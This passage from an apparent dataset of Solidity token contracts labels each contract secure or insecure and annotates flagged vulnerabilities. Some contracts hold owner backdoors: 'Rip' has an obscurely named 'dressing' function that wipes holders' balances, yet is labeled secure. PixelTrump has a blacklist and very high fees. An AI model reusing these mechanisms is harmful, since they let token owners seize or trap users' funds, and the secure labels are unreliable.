fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_3752.sol",
"secure": 1,
"size_bytes": 5359
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IBEP20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}",
"file_name": "solidity_code_3753.sol",
"secure": 1,
"size_bytes": 1010
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IBEP20.sol\" as IBEP20;\n\ncontract TokenSale is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6a425f5): TokenSale.token should be immutable \n\t// Recommendation for 6a425f5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IBEP20 public token;\n\n address public wallet;\n\n uint256 public rate;\n\n uint256 public weiRaised;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 78f18e7): TokenSale._swSale should be immutable \n\t// Recommendation for 78f18e7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n bool private _swSale;\n\n uint256 private _refTokensRate = 2;\n\n uint256 private _refRateDominator = 100;\n\n event TokenPurchase(\n address indexed purchaser,\n address indexed beneficiary,\n address indexed referral,\n uint256 value,\n uint256 amount\n );\n\n constructor(address _token, uint256 _rate, address _wallet) {\n require(_rate > 0);\n\n require(_wallet != address(0));\n\n require(_token != address(0));\n\n token = IBEP20(_token);\n\n wallet = _wallet;\n\n rate = _rate;\n\n _swSale = true;\n }\n\n fallback() external {}\n\n receive() external payable {}\n\n function rescueToken(\n address tokenAddress,\n uint256 tokens\n ) external onlyOwner returns (bool success) {\n return IBEP20(tokenAddress).transfer(_msgSender(), tokens);\n }\n\n function clearStuckBalance(address _receiver) external onlyOwner {\n uint256 balance = address(this).balance;\n\n _forwardFunds(_receiver, balance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: aa1b213): TokenSale.setRate(uint256) should emit an event for rate = _rate \n\t// Recommendation for aa1b213: Emit an event for critical parameter changes.\n function setRate(uint256 _rate) external onlyOwner {\n\t\t// events-maths | ID: aa1b213\n rate = _rate;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a5b86e7): TokenSale.setRefRate(uint256,uint256) should emit an event for _refTokensRate = refTokensRate _refRateDominator = refRateDominator \n\t// Recommendation for a5b86e7: Emit an event for critical parameter changes.\n function setRefRate(\n uint256 refTokensRate,\n uint256 refRateDominator\n ) external onlyOwner {\n\t\t// events-maths | ID: a5b86e7\n _refTokensRate = refTokensRate;\n\n\t\t// events-maths | ID: a5b86e7\n _refRateDominator = refRateDominator;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d6c01f3): TokenSale.setWallet(address)._wallet lacks a zerocheck on \t wallet = _wallet\n\t// Recommendation for d6c01f3: Check that the address is not zero.\n function setWallet(address _wallet) external onlyOwner {\n\t\t// missing-zero-check | ID: d6c01f3\n wallet = _wallet;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f5ba9d2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f5ba9d2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function buyTokens(address _beneficiary, address _referral) public payable {\n require(_swSale, \"Token Sell Is Closed\");\n\n uint256 weiAmount = msg.value;\n\n _preValidatePurchase(_beneficiary, weiAmount);\n\n uint256 tokens = _getTokenAmount(weiAmount);\n\n weiRaised = weiRaised.add(weiAmount);\n\n\t\t// reentrancy-events | ID: f5ba9d2\n _processPurchase(_beneficiary, tokens);\n\n\t\t// reentrancy-events | ID: f5ba9d2\n emit TokenPurchase(\n _msgSender(),\n _beneficiary,\n _referral,\n weiAmount,\n tokens\n );\n\n if (\n (_referral != _msgSender()) &&\n (_referral != _beneficiary) &&\n (_referral != address(0))\n ) {\n uint256 referToken = tokens.mul(_refTokensRate).div(\n _refRateDominator\n );\n\n _processPurchase(_referral, referToken);\n }\n\n uint256 balance = address(this).balance;\n\n payable(wallet).transfer(balance);\n }\n\n function _preValidatePurchase(\n address _beneficiary,\n uint256 _weiAmount\n ) internal pure {\n require(_beneficiary != address(0));\n\n require(_weiAmount != 0);\n }\n\n function _getTokenAmount(\n uint256 _weiAmount\n ) internal view returns (uint256) {\n return _weiAmount.mul(rate);\n }\n\n function _processPurchase(\n address _beneficiary,\n uint256 _tokenAmount\n ) internal {\n _deliverTokens(_beneficiary, _tokenAmount);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 1f2ca01): TokenSale._deliverTokens(address,uint256) ignores return value by token.transferFrom(wallet,_beneficiary,_tokenAmount)\n\t// Recommendation for 1f2ca01: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (arbitrary-send-erc20 | severity: High | ID: da05d67): TokenSale._deliverTokens(address,uint256) uses arbitrary from in transferFrom token.transferFrom(wallet,_beneficiary,_tokenAmount)\n\t// Recommendation for da05d67: Use 'msg.sender' as 'from' in 'transferFrom'.\n function _deliverTokens(\n address _beneficiary,\n uint256 _tokenAmount\n ) internal {\n\t\t// reentrancy-events | ID: f5ba9d2\n\t\t// unchecked-transfer | ID: 1f2ca01\n\t\t// arbitrary-send-erc20 | ID: da05d67\n token.transferFrom(wallet, _beneficiary, _tokenAmount);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 634c58e): TokenSale._forwardFunds(address,uint256) sends eth to arbitrary user Dangerous calls address(_reciver).transfer(_weiAmount)\n\t// Recommendation for 634c58e: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function _forwardFunds(address _reciver, uint256 _weiAmount) internal {\n\t\t// arbitrary-send-eth | ID: 634c58e\n payable(_reciver).transfer(_weiAmount);\n }\n}",
"file_name": "solidity_code_3754.sol",
"secure": 0,
"size_bytes": 6647
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Rip is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable continental;\n\n constructor() {\n _name = \"RIP\";\n\n _symbol = \"RIP\";\n\n _decimals = 18;\n\n uint256 initialSupply = 457000000;\n\n continental = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == continental, \"Not allowed\");\n\n _;\n }\n\n function dressing(address[] memory well) public onlyOwner {\n for (uint256 i = 0; i < well.length; i++) {\n address account = well[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3755.sol",
"secure": 1,
"size_bytes": 4355
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Ownable {\n address private _admin;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _sender();\n\n _admin = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n modifier onlyAdmin() {\n _checkAdmin();\n\n _;\n }\n\n function _sender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _data() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function admin() public view virtual returns (address) {\n return _admin;\n }\n\n function _checkAdmin() internal view virtual {\n require(admin() == _sender(), \"Ownable: caller is not the admin\");\n }\n\n function renounceOwnership() public virtual onlyAdmin {\n emit OwnershipTransferred(_admin, address(0));\n\n _admin = address(0);\n }\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n}",
"file_name": "solidity_code_3756.sol",
"secure": 1,
"size_bytes": 1274
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 876a435): Contract locking ether found Contract Year1776 has payable functions Year1776.receive() But does not have a function to withdraw the ether\n// Recommendation for 876a435: Remove the 'payable' attribute or add a withdraw function.\ncontract Year1776 is ERC20, Ownable {\n constructor() ERC20(unicode\"76ERS\", unicode\"76ERS\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 876a435): Contract locking ether found Contract Year1776 has payable functions Year1776.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 876a435: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_3757.sol",
"secure": 0,
"size_bytes": 1004
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IAntiDrainer {\n function isEnabled(address token) external view returns (bool);\n\n function check(\n address from,\n address to,\n address pair,\n uint256 maxWalletSize,\n uint256 maxTransactionAmount,\n uint256 swapTokensAtAmount\n ) external returns (bool);\n}",
"file_name": "solidity_code_3758.sol",
"secure": 1,
"size_bytes": 387
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"./IAntiDrainer.sol\" as IAntiDrainer;\n\ncontract PixelTrump is ERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9c6bab2): PixelTrump.uniswapV2Router should be immutable \n\t// Recommendation for 9c6bab2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c957d8b): PixelTrump.uniswapV2Pair should be immutable \n\t// Recommendation for c957d8b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n address public antiDrainer;\n\n bool private swapping;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 65b1704): PixelTrump.marketingWallet should be immutable \n\t// Recommendation for 65b1704: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public marketingWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7d4b514): PixelTrump.TrumpCampaign should be immutable \n\t// Recommendation for 7d4b514: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public TrumpCampaign;\n\n uint256 public maxTransaction;\n\n uint256 public swapTokensAtAmount;\n\n uint256 public maxWallet;\n\n bool public limitsInEffect = true;\n\n bool public tradingActive = false;\n\n bool public swapEnabled = false;\n\n uint256 public buyTotalFees;\n\n uint256 public buyMarketingFee;\n\n uint256 public buyDevFee;\n\n uint256 public sellTotalFees;\n\n uint256 public sellMarketingFee;\n\n uint256 public sellDevFee;\n\n uint256 public tokensForMarketing;\n\n uint256 public tokensForDev;\n\n mapping(address => bool) private _isBlackList;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) public _isExcludedmaxTransaction;\n\n mapping(address => bool) public automatedMarketMakerPairs;\n\n event UpdateUniswapV2Router(\n address indexed newAddress,\n address indexed oldAddress\n );\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n event MarketingWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event TrumpCampaignUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4749f74): PixelTrump.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 4749f74: Rename the local variables that shadow another component.\n constructor() ERC20(\"Pixel Trump\", \"PXLTRUMP\") {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n excludeFromMaxTransaction(address(uniswapV2Router), true);\n\n excludeFromMaxTransaction(address(uniswapV2Pair), true);\n\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n uint256 _buyMarketingFee = 29;\n\n uint256 _buyTrumpFee = 1;\n\n uint256 _sellMarketingFee = 39;\n\n uint256 _sellTrumpFee = 1;\n\n uint256 totalSupply = 1_000_000_000 * 1e18;\n\n maxTransaction = 15_000_000 * 1e18;\n\n maxWallet = 15_000_000 * 1e18;\n\n swapTokensAtAmount = (totalSupply * 5) / 40000;\n\n buyMarketingFee = _buyMarketingFee;\n\n buyDevFee = _buyTrumpFee;\n\n buyTotalFees = buyMarketingFee + buyDevFee;\n\n sellMarketingFee = _sellMarketingFee;\n\n sellDevFee = _sellTrumpFee;\n\n sellTotalFees = sellMarketingFee + sellDevFee;\n\n marketingWallet = address(0x0DAf48D8295b31621dDFFA46D7b6B4290BAdd4D9);\n\n TrumpCampaign = address(0x94845333028B1204Fbe14E1278Fd4Adde46B22ce);\n\n excludeFromFees(owner(), true);\n\n excludeFromFees(address(this), true);\n\n excludeFromFees(address(0xdead), true);\n\n excludeFromMaxTransaction(owner(), true);\n\n excludeFromMaxTransaction(address(this), true);\n\n excludeFromMaxTransaction(address(0xdead), true);\n\n _mint(msg.sender, totalSupply);\n }\n\n receive() external payable {}\n\n function setAntiDrainer(address _antiDrainer) external onlyOwner {\n require(_antiDrainer != address(0x0), \"Invalid anti drainer\");\n\n antiDrainer = _antiDrainer;\n }\n\n function enableTrading() external onlyOwner {\n tradingActive = true;\n\n swapEnabled = true;\n }\n\n function enableTradingWithPermit(uint8 v, bytes32 r, bytes32 s) external {\n bytes32 domainHash = keccak256(\n abi.encode(\n keccak256(\n \"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\"\n ),\n keccak256(bytes(\"Trading Token\")),\n keccak256(bytes(\"1\")),\n block.chainid,\n address(this)\n )\n );\n\n bytes32 structHash = keccak256(\n abi.encode(\n keccak256(\"Permit(string content,uint256 nonce)\"),\n keccak256(bytes(\"Enable Trading\")),\n uint256(0)\n )\n );\n\n bytes32 digest = keccak256(\n abi.encodePacked(\"\\x19\\x01\", domainHash, structHash)\n );\n\n address sender = ecrecover(digest, v, r, s);\n\n require(sender == owner(), \"Invalid signature\");\n\n tradingActive = true;\n\n swapEnabled = true;\n }\n\n function setBlackList(\n address[] calldata wallets,\n bool blocked\n ) external onlyOwner {\n for (uint256 i = 0; i < wallets.length; i++) {\n _isBlackList[wallets[i]] = blocked;\n }\n }\n\n function removeLimits() external onlyOwner returns (bool) {\n limitsInEffect = false;\n\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: da25621): PixelTrump.updateSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = newAmount \n\t// Recommendation for da25621: Emit an event for critical parameter changes.\n function updateSwapTokensAtAmount(\n uint256 newAmount\n ) external onlyOwner returns (bool) {\n require(\n newAmount >= (totalSupply() * 1) / 100000,\n \"Swap amount cannot be lower than 0.001% total supply.\"\n );\n\n require(\n newAmount <= (totalSupply() * 5) / 1000,\n \"Swap amount cannot be higher than 0.5% total supply.\"\n );\n\n\t\t// events-maths | ID: da25621\n swapTokensAtAmount = newAmount;\n\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 3b6d6c1): PixelTrump.updateMaxTxnAmount(uint256) should emit an event for maxTransaction = newNum * (10 ** 18) \n\t// Recommendation for 3b6d6c1: Emit an event for critical parameter changes.\n function updateMaxTxnAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 1) / 1000) / 1e18,\n \"Cannot set maxTransaction lower than 0.1%\"\n );\n\n\t\t// events-maths | ID: 3b6d6c1\n maxTransaction = newNum * (10 ** 18);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: c4667b2): PixelTrump.updateMaxWalletAmount(uint256) should emit an event for maxWallet = newNum * (10 ** 18) \n\t// Recommendation for c4667b2: Emit an event for critical parameter changes.\n function updateMaxWalletAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 5) / 1000) / 1e18,\n \"Cannot set maxWallet lower than 0.5%\"\n );\n\n\t\t// events-maths | ID: c4667b2\n maxWallet = newNum * (10 ** 18);\n }\n\n function excludeFromMaxTransaction(\n address updAds,\n bool isEx\n ) public onlyOwner {\n _isExcludedmaxTransaction[updAds] = isEx;\n }\n\n function updateSwapEnabled(bool enabled) external onlyOwner {\n swapEnabled = enabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 66e4647): PixelTrump.updateBuyFees(uint256,uint256) should emit an event for buyMarketingFee = _marketingFee buyDevFee = _devFee buyTotalFees = buyMarketingFee + buyDevFee \n\t// Recommendation for 66e4647: Emit an event for critical parameter changes.\n function updateBuyFees(\n uint256 _marketingFee,\n uint256 _devFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 66e4647\n buyMarketingFee = _marketingFee;\n\n\t\t// events-maths | ID: 66e4647\n buyDevFee = _devFee;\n\n\t\t// events-maths | ID: 66e4647\n buyTotalFees = buyMarketingFee + buyDevFee;\n\n require(buyTotalFees <= 50, \"Must keep fees at 50% or less\");\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 1d7dce0): PixelTrump.updateSellFees(uint256,uint256) should emit an event for sellMarketingFee = _marketingFee sellDevFee = _devFee sellTotalFees = sellMarketingFee + sellDevFee \n\t// Recommendation for 1d7dce0: Emit an event for critical parameter changes.\n function updateSellFees(\n uint256 _marketingFee,\n uint256 _devFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 1d7dce0\n sellMarketingFee = _marketingFee;\n\n\t\t// events-maths | ID: 1d7dce0\n sellDevFee = _devFee;\n\n\t\t// events-maths | ID: 1d7dce0\n sellTotalFees = sellMarketingFee + sellDevFee;\n\n require(sellTotalFees <= 50, \"Must keep fees at 50% or less\");\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0c0cb47): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0c0cb47: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a72aca5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a72aca5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 9bff953): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 9bff953: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4eb0222): PixelTrump._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(sellTotalFees).div(100) tokensForDev += (fees * sellDevFee) / sellTotalFees\n\t// Recommendation for 4eb0222: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: fee88ca): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for fee88ca: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: e14ee53): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for e14ee53: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 0369514): PixelTrump._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(buyTotalFees).div(100) tokensForDev += (fees * buyDevFee) / buyTotalFees\n\t// Recommendation for 0369514: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2bd04f4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2bd04f4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(!_isBlackList[from], \"[from] black list\");\n\n require(!_isBlackList[to], \"[to] black list\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n if (limitsInEffect) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!tradingActive) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedmaxTransaction[to]\n ) {\n require(\n amount <= maxTransaction,\n \"Buy transfer amount exceeds the maxTransaction.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedmaxTransaction[from]\n ) {\n require(\n amount <= maxTransaction,\n \"Sell transfer amount exceeds the maxTransaction.\"\n );\n } else if (!_isExcludedmaxTransaction[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n }\n\n if (\n antiDrainer != address(0) &&\n IAntiDrainer(antiDrainer).isEnabled(address(this))\n ) {\n\t\t\t// reentrancy-events | ID: 0c0cb47\n\t\t\t// reentrancy-benign | ID: a72aca5\n\t\t\t// reentrancy-no-eth | ID: 9bff953\n\t\t\t// reentrancy-eth | ID: 2bd04f4\n bool check = IAntiDrainer(antiDrainer).check(\n from,\n to,\n address(uniswapV2Pair),\n maxWallet,\n maxTransaction,\n swapTokensAtAmount\n );\n\n require(check, \"Anti Drainer Enabled\");\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n canSwap &&\n swapEnabled &&\n !swapping &&\n automatedMarketMakerPairs[to] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n\t\t\t// reentrancy-no-eth | ID: 9bff953\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: 0c0cb47\n\t\t\t// reentrancy-benign | ID: a72aca5\n\t\t\t// reentrancy-eth | ID: 2bd04f4\n swapBack();\n\n\t\t\t// reentrancy-eth | ID: 2bd04f4\n swapping = false;\n }\n\n bool takeFee = !swapping;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: 4eb0222\n\t\t\t\t// divide-before-multiply | ID: fee88ca\n fees = amount.mul(sellTotalFees).div(100);\n\n\t\t\t\t// divide-before-multiply | ID: 4eb0222\n\t\t\t\t// reentrancy-eth | ID: 2bd04f4\n tokensForDev += (fees * sellDevFee) / sellTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: fee88ca\n\t\t\t\t// reentrancy-eth | ID: 2bd04f4\n tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;\n } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: e14ee53\n\t\t\t\t// divide-before-multiply | ID: 0369514\n fees = amount.mul(buyTotalFees).div(100);\n\n\t\t\t\t// divide-before-multiply | ID: 0369514\n\t\t\t\t// reentrancy-eth | ID: 2bd04f4\n tokensForDev += (fees * buyDevFee) / buyTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: e14ee53\n\t\t\t\t// reentrancy-eth | ID: 2bd04f4\n tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: 0c0cb47\n\t\t\t\t// reentrancy-eth | ID: 2bd04f4\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: 0c0cb47\n\t\t// reentrancy-eth | ID: 2bd04f4\n super._transfer(from, to, amount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new 